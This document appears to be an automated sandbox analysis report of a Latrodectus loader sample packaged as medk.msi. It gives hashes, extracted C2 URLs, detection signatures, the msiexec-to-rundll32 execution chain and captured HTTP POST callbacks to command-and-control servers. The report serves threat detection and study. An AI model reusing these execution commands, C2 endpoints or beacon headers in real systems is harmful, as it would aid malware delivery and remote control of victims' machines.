latrodectus | dfff1a07429ff9585f3dab9c78b501174e7c326e1fb95c5234368071b5426768

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 17:19 UTC

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General

Target

medk.msi
Size

2.0MB
MD5

8cb04bf931a19fa0ae1bd7235180dd4a
SHA1

dfc980a827dbde294ae9fa6e63545d1d57344e96
SHA256

dfff1a07429ff9585f3dab9c78b501174e7c326e1fb95c5234368071b5426768
SHA512

58f1661d689aaa9391f04e086db490693f83b70e068ca10b20cff6f87979a8804aa9f054ac961af06c4b7b17fd88b1912774b2eb3d16b9df8e7a4ed9bb3c0a29
SSDEEP

49152:F943YhW8zBQSc0ZnSKBZKumZr7Apj3Y+7jHplNa:6YY0Zn3K/Al3dXHpra

Score

10^/10

latrodectus discovery loader persistence privilege_escalation

Malware Config

Extracted

Family

latrodectus

https://rolefenik.com/test/

https://ergiholim.com/test/

Signatures

Detects Latrodectus 3 IoCs

Detects Latrodectus v1.4.

resource	yara_rule
behavioral2/memory/5000-63-0x00007FF438980000-0x00007FF438995000-memory.dmp	family_latrodectus_1_4
behavioral2/memory/3488-68-0x0000000002860000-0x0000000002875000-memory.dmp	family_latrodectus_1_4
behavioral2/memory/3488-69-0x0000000002860000-0x0000000002875000-memory.dmp	family_latrodectus_1_4

Latrodectus family
latrodectus
Latrodectus loader
Latrodectus is a loader written in C++.
loader latrodectus

Blocklisted process makes network request 8 IoCs

flow	pid	Process
28	5000	rundll32.exe
30	5000	rundll32.exe
33	5000	rundll32.exe
36	5000	rundll32.exe
53	5000	rundll32.exe
59	5000	rundll32.exe
61	5000	rundll32.exe
64	5000	rundll32.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e57a76b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA7B9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA8C4.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9FF.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAC43.tmp	msiexec.exe
File created	C:\Windows\Installer\e57a76b.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA923.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA981.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
432	MSIAC43.tmp

Loads dropped DLL 6 IoCs

pid	Process
4496	MsiExec.exe
4496	MsiExec.exe
4496	MsiExec.exe
4496	MsiExec.exe
384	rundll32.exe
5000	rundll32.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
2460	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIAC43.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000001d4141155d34ac580000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800001d4141150000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809001d414115000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d1d414115000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001d41411500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4092	msiexec.exe
4092	msiexec.exe
5000	rundll32.exe
5000	rundll32.exe
5000	rundll32.exe
5000	rundll32.exe
5000	rundll32.exe
5000	rundll32.exe
5000	rundll32.exe
5000	rundll32.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2460	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2460	msiexec.exe
Token: SeSecurityPrivilege	4092	msiexec.exe
Token: SeCreateTokenPrivilege	2460	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2460	msiexec.exe
Token: SeLockMemoryPrivilege	2460	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2460	msiexec.exe
Token: SeMachineAccountPrivilege	2460	msiexec.exe
Token: SeTcbPrivilege	2460	msiexec.exe
Token: SeSecurityPrivilege	2460	msiexec.exe
Token: SeTakeOwnershipPrivilege	2460	msiexec.exe
Token: SeLoadDriverPrivilege	2460	msiexec.exe
Token: SeSystemProfilePrivilege	2460	msiexec.exe
Token: SeSystemtimePrivilege	2460	msiexec.exe
Token: SeProfSingleProcessPrivilege	2460	msiexec.exe
Token: SeIncBasePriorityPrivilege	2460	msiexec.exe
Token: SeCreatePagefilePrivilege	2460	msiexec.exe
Token: SeCreatePermanentPrivilege	2460	msiexec.exe
Token: SeBackupPrivilege	2460	msiexec.exe
Token: SeRestorePrivilege	2460	msiexec.exe
Token: SeShutdownPrivilege	2460	msiexec.exe
Token: SeDebugPrivilege	2460	msiexec.exe
Token: SeAuditPrivilege	2460	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2460	msiexec.exe
Token: SeChangeNotifyPrivilege	2460	msiexec.exe
Token: SeRemoteShutdownPrivilege	2460	msiexec.exe
Token: SeUndockPrivilege	2460	msiexec.exe
Token: SeSyncAgentPrivilege	2460	msiexec.exe
Token: SeEnableDelegationPrivilege	2460	msiexec.exe
Token: SeManageVolumePrivilege	2460	msiexec.exe
Token: SeImpersonatePrivilege	2460	msiexec.exe
Token: SeCreateGlobalPrivilege	2460	msiexec.exe
Token: SeBackupPrivilege	3816	vssvc.exe
Token: SeRestorePrivilege	3816	vssvc.exe
Token: SeAuditPrivilege	3816	vssvc.exe
Token: SeBackupPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeBackupPrivilege	4376	srtasks.exe
Token: SeRestorePrivilege	4376	srtasks.exe
Token: SeSecurityPrivilege	4376	srtasks.exe
Token: SeTakeOwnershipPrivilege	4376	srtasks.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeRestorePrivilege	4092	msiexec.exe
Token: SeTakeOwnershipPrivilege	4092	msiexec.exe
Token: SeBackupPrivilege	4376	srtasks.exe
Token: SeRestorePrivilege	4376	srtasks.exe
Token: SeSecurityPrivilege	4376	srtasks.exe
Token: SeTakeOwnershipPrivilege	4376	srtasks.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2460	msiexec.exe
2460	msiexec.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3488	Explorer.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 4376	4092	msiexec.exe	97
PID 4092 wrote to memory of 4376	4092	msiexec.exe	97
PID 4092 wrote to memory of 4496	4092	msiexec.exe	99
PID 4092 wrote to memory of 4496	4092	msiexec.exe	99
PID 4092 wrote to memory of 4496	4092	msiexec.exe	99
PID 4092 wrote to memory of 432	4092	msiexec.exe	102
PID 4092 wrote to memory of 432	4092	msiexec.exe	102
PID 4092 wrote to memory of 432	4092	msiexec.exe	102
PID 384 wrote to memory of 5000	384	rundll32.exe	104
PID 384 wrote to memory of 5000	384	rundll32.exe	104
PID 5000 wrote to memory of 3488	5000	rundll32.exe	56

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3488
- C:\Windows\system32\msiexec.exe
  msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\medk.msi
  2⤵
  - Enumerates connected drives
  - Event Triggered Execution: Installer Packages
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2460
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\SysWOW64\rundll32.exe" C:\Users\Admin\AppData\Roaming\tab.dll, Object
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe" C:\Users\Admin\AppData\Roaming\tab.dll, Object
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5000

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4376
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 28AA28B5223B9BD06D95BBB64E3112EB
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4496
- C:\Windows\Installer\MSIAC43.tmp
  "C:\Windows\Installer\MSIAC43.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\Admin\AppData\Roaming\tab.dll, Object
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:432

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3816

Network

DNS

8.8.8.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

8.8.8.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR
DNS

196.249.167.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

196.249.167.52.in-addr.arpa

IN PTR

Response
DNS

99.209.201.84.in-addr.arpa

Remote address:

8.8.8.8:53

Request

99.209.201.84.in-addr.arpa

IN PTR

Response
DNS

22.160.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

22.160.190.20.in-addr.arpa

IN PTR

Response
DNS

57.110.18.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

57.110.18.2.in-addr.arpa

IN PTR

Response

57.110.18.2.in-addr.arpa

IN PTR

a2-18-110-57deploystaticakamaitechnologiescom
DNS

154.239.44.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

154.239.44.20.in-addr.arpa

IN PTR

Response
DNS

samomol.com

rundll32.exe

Remote address:

8.8.8.8:53

Request

samomol.com

IN A

Response

samomol.com

IN A

87.120.37.120
POST

https://samomol.com:9043/pankihoy.php

rundll32.exe

Remote address:

87.120.37.120:9043

Request

POST /pankihoy.php HTTP/1.1
joy_Te9en9eK9ax9Nei3zux9: division_diewi9uKuo4tob4tei3i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.119 Safari/537.36
Host: samomol.com:9043
Content-Length: 544
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: text/html
Date: Wed, 13 Nov 2024 17:19:27 GMT
Joy_te9en9ek9ax9nei3zux9: division_diewi9uKuo4tob4tei3i
Content-Length: 52
DNS

120.37.120.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

120.37.120.87.in-addr.arpa

IN PTR

Response
DNS

120.37.120.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

120.37.120.87.in-addr.arpa

IN PTR
DNS

120.37.120.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

120.37.120.87.in-addr.arpa

IN PTR
DNS

r11.o.lencr.org

rundll32.exe

Remote address:

8.8.8.8:53

Request

r11.o.lencr.org

IN A

Response

r11.o.lencr.org

IN CNAME

o.lencr.edgesuite.net

o.lencr.edgesuite.net

IN CNAME

a1887.dscq.akamai.net

a1887.dscq.akamai.net

IN A

88.221.134.137

a1887.dscq.akamai.net

IN A

88.221.134.89
GET

http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgMM8xqWPzJlR4d3NX4FLeCQHw%3D%3D

rundll32.exe

Remote address:

88.221.134.137:80

Request

GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgMM8xqWPzJlR4d3NX4FLeCQHw%3D%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: r11.o.lencr.org

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: application/ocsp-response
Content-Length: 504
ETag: "7DDA9A3DEBFA76400682284A5D1DA11037FC52B9E30352DF909191B94C5E783B"
Last-Modified: Wed, 13 Nov 2024 11:29:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21336
Expires: Wed, 13 Nov 2024 23:15:02 GMT
Date: Wed, 13 Nov 2024 17:19:26 GMT
Connection: keep-alive
DNS

168.245.100.95.in-addr.arpa

Remote address:

8.8.8.8:53

Request

168.245.100.95.in-addr.arpa

IN PTR

Response

168.245.100.95.in-addr.arpa

IN PTR

a95-100-245-168deploystaticakamaitechnologiescom
DNS

137.134.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

137.134.221.88.in-addr.arpa

IN PTR

Response

137.134.221.88.in-addr.arpa

IN PTR

a88-221-134-137deploystaticakamaitechnologiescom
POST

https://samomol.com:9043/pankihoy.php

rundll32.exe

Remote address:

87.120.37.120:9043

Request

POST /pankihoy.php HTTP/1.1
joy_Te9en9eK9ax9Nei3zux9: division_diewi9uKuo4tob4tei3i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.119 Safari/537.36
Host: samomol.com:9043
Content-Length: 154
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: text/html
Date: Wed, 13 Nov 2024 17:19:27 GMT
Joy_te9en9ek9ax9nei3zux9: division_diewi9uKuo4tob4tei3i
Content-Length: 204760
DNS

212.20.149.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

212.20.149.52.in-addr.arpa

IN PTR

Response
DNS

198.187.3.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

198.187.3.20.in-addr.arpa

IN PTR

Response
DNS

217.135.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

217.135.221.88.in-addr.arpa

IN PTR

Response

217.135.221.88.in-addr.arpa

IN PTR

a88-221-135-217deploystaticakamaitechnologiescom
DNS

172.214.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.214.232.199.in-addr.arpa

IN PTR

Response
POST

https://samomol.com:9043/matrix.php

rundll32.exe

Remote address:

87.120.37.120:9043

Request

POST /matrix.php HTTP/1.1
joy_Te9en9eK9ax9Nei3zux9: division_diewi9uKuo4tob4tei3i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.119 Safari/537.36
Host: samomol.com:9043
Content-Length: 220
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: text/html
Date: Wed, 13 Nov 2024 17:20:20 GMT
Joy_te9en9ek9ax9nei3zux9: division_diewi9uKuo4tob4tei3i
Content-Length: 0
DNS

21.236.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

21.236.111.52.in-addr.arpa

IN PTR

Response
DNS

burjog.com

rundll32.exe

Remote address:

8.8.8.8:53

Request

burjog.com

IN A

Response

burjog.com

IN A

45.143.166.230
DNS

burjog.com

rundll32.exe

Remote address:

8.8.8.8:53

Request

burjog.com

IN A

Response
POST

https://burjog.com:9043/pankihoy.php

rundll32.exe

Remote address:

45.143.166.230:9043

Request

POST /pankihoy.php HTTP/1.1
joy_Te9en9eK9ax9Nei3zux9: division_diewi9uKuo4tob4tei3i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.119 Safari/537.36
Host: burjog.com:9043
Content-Length: 444
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: text/html
Date: Wed, 13 Nov 2024 17:20:54 GMT
Joy_te9en9ek9ax9nei3zux9: division_diewi9uKuo4tob4tei3i
Content-Length: 0
DNS

r11.o.lencr.org

rundll32.exe

Remote address:

8.8.8.8:53

Request

r11.o.lencr.org

IN A

Response

r11.o.lencr.org

IN CNAME

o.lencr.edgesuite.net

o.lencr.edgesuite.net

IN CNAME

a1887.dscq.akamai.net

a1887.dscq.akamai.net

IN A

88.221.134.89

a1887.dscq.akamai.net

IN A

88.221.134.137
GET

http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOjnhIuzFsRtAt3o5qMxjL2lA%3D%3D

rundll32.exe

Remote address:

88.221.134.89:80

Request

GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOjnhIuzFsRtAt3o5qMxjL2lA%3D%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: r11.o.lencr.org

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: application/ocsp-response
Content-Length: 504
ETag: "898F23C24F04204544F07B73E0F760952A9B797FC44F4DD8379D550F1F3EFF54"
Last-Modified: Wed, 13 Nov 2024 05:43:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=18479
Expires: Wed, 13 Nov 2024 22:28:52 GMT
Date: Wed, 13 Nov 2024 17:20:53 GMT
Connection: keep-alive
DNS

230.166.143.45.in-addr.arpa

Remote address:

8.8.8.8:53

Request

230.166.143.45.in-addr.arpa

IN PTR

Response
DNS

89.134.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

89.134.221.88.in-addr.arpa

IN PTR

Response

89.134.221.88.in-addr.arpa

IN PTR

a88-221-134-89deploystaticakamaitechnologiescom
POST

https://burjog.com:9043/neo.php

rundll32.exe

Remote address:

45.143.166.230:9043

Request

POST /neo.php HTTP/1.1
joy_Te9en9eK9ax9Nei3zux9: division_diewi9uKuo4tob4tei3i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.119 Safari/537.36
Host: burjog.com:9043
Content-Length: 154
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: text/html
Date: Wed, 13 Nov 2024 17:21:33 GMT
Joy_te9en9ek9ax9nei3zux9: division_diewi9uKuo4tob4tei3i
Content-Length: 0

87.120.37.120:9043

https://samomol.com:9043/pankihoy.php

tls, http

rundll32.exe

2.7kB
3.9kB
14
11

HTTP Request

POST https://samomol.com:9043/pankihoy.php

HTTP Response

200
88.221.134.137:80

http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgMM8xqWPzJlR4d3NX4FLeCQHw%3D%3D

http

rundll32.exe

568 B
1.1kB
7
5

HTTP Request

GET http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgMM8xqWPzJlR4d3NX4FLeCQHw%3D%3D

HTTP Response

200
87.120.37.120:9043

https://samomol.com:9043/pankihoy.php

tls, http

rundll32.exe

8.2kB
211.8kB
160
159

HTTP Request

POST https://samomol.com:9043/pankihoy.php

HTTP Response

200
87.120.37.120:9043

https://samomol.com:9043/matrix.php

tls, http

rundll32.exe

1.3kB
562 B
7
6

HTTP Request

POST https://samomol.com:9043/matrix.php

HTTP Response

200
45.143.166.230:9043

https://burjog.com:9043/pankihoy.php

tls, http

rundll32.exe

1.5kB
3.7kB
10
8

HTTP Request

POST https://burjog.com:9043/pankihoy.php

HTTP Response

200
88.221.134.89:80

http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOjnhIuzFsRtAt3o5qMxjL2lA%3D%3D

http

rundll32.exe

424 B
1.0kB
4
3

HTTP Request

GET http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOjnhIuzFsRtAt3o5qMxjL2lA%3D%3D

HTTP Response

200
45.143.166.230:9043

https://burjog.com:9043/neo.php

tls, http

rundll32.exe

1.2kB
522 B
7
5

HTTP Request

POST https://burjog.com:9043/neo.php

HTTP Response

200
192.229.221.95:80

8.8.8.8:53

8.8.8.8.in-addr.arpa

dns

132 B
90 B
2
1

DNS Request

8.8.8.8.in-addr.arpa

DNS Request

8.8.8.8.in-addr.arpa
8.8.8.8:53

196.249.167.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

196.249.167.52.in-addr.arpa
8.8.8.8:53

99.209.201.84.in-addr.arpa

dns

72 B
132 B
1
1

DNS Request

99.209.201.84.in-addr.arpa
8.8.8.8:53

22.160.190.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

22.160.190.20.in-addr.arpa
8.8.8.8:53

57.110.18.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

57.110.18.2.in-addr.arpa
8.8.8.8:53

154.239.44.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

154.239.44.20.in-addr.arpa
8.8.8.8:53

samomol.com

dns

rundll32.exe

57 B
73 B
1
1

DNS Request

samomol.com

DNS Response

87.120.37.120
8.8.8.8:53

120.37.120.87.in-addr.arpa

dns

216 B
128 B
3
1

DNS Request

120.37.120.87.in-addr.arpa

DNS Request

120.37.120.87.in-addr.arpa

DNS Request

120.37.120.87.in-addr.arpa
8.8.8.8:53

r11.o.lencr.org

dns

rundll32.exe

61 B
160 B
1
1

DNS Request

r11.o.lencr.org

DNS Response

88.221.134.137

88.221.134.89
8.8.8.8:53

168.245.100.95.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

168.245.100.95.in-addr.arpa
8.8.8.8:53

137.134.221.88.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

137.134.221.88.in-addr.arpa
8.8.8.8:53

212.20.149.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

212.20.149.52.in-addr.arpa
8.8.8.8:53

198.187.3.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

198.187.3.20.in-addr.arpa
8.8.8.8:53

217.135.221.88.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

217.135.221.88.in-addr.arpa
8.8.8.8:53

172.214.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.214.232.199.in-addr.arpa
8.8.8.8:53

21.236.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

21.236.111.52.in-addr.arpa
8.8.8.8:53

burjog.com

dns

rundll32.exe

112 B
128 B
2
2

DNS Request

burjog.com

DNS Request

burjog.com

DNS Response

45.143.166.230
8.8.8.8:53

r11.o.lencr.org

dns

rundll32.exe

61 B
160 B
1
1

DNS Request

r11.o.lencr.org

DNS Response

88.221.134.89

88.221.134.137
8.8.8.8:53

230.166.143.45.in-addr.arpa

dns

73 B
